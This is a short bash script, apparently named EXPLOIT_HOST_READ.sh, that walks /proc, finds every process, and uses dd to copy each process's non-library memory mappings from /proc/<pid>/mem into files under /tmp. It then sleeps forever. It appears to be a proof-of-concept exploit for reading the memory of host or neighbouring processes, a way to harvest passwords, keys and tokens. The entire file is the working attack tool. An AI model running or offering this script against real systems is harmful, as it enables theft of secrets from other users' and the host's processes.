#!/bin/bash
set -x

procdump() {
    local pid="$1"
    local outdir="/tmp/${pid}_memory_dump"
    local maps_file="/tmp/maps_$pid.txt" 
    mkdir -p "$outdir"     
    grep -Fv ".so" "/proc/$pid/maps" | grep " 0 " | awk '{print $1}' > "$maps_file"
    while IFS="-" read start end; do
        outfile="$outdir/${pid}_mem_${start}.bin" 
        echo "Dumping memory segment $start-$end for PID $pid to $outfile"
        dd if="/proc/$pid/mem" bs="$(getconf PAGESIZE)" iflag=skip_bytes,count_bytes skip=$((16#$start)) count=$((16#$end - 16#$start)) of="$outfile" 2>/dev/null
    done < "$maps_file"
}

pids=$(find /proc -maxdepth 2 -wholename '/proc/[0-9]*/status' -print0 | xargs -0 grep -Ev "Name:\s+(find|xargs|cat|EXPLOIT_HOST_READ.sh)" | grep "Pid:" | awk '{print $2}' | sort -u)

for pid in $pids; do

    # Retry logic
    for i in 1 2 3 4 5; do
        if [ -r "/proc/$pid/mem" ] && [ -d "/proc/$pid" ]; then  
            procdump "$pid"
            break  # Exit retry loop if successful
        else
            echo "Attempt $i: /proc/$pid/mem not readable or /proc/$pid not a directory, retrying in 1 second..."
            sleep 1
        fi
    done

    # Check if the retry loop did not succeed
    if [ "$i" -eq 5 ]; then 
        echo "Skipping PID $pid: /proc/$pid remained unreadable or not a directory after multiple attempts"
    fi
done

sleep infinity
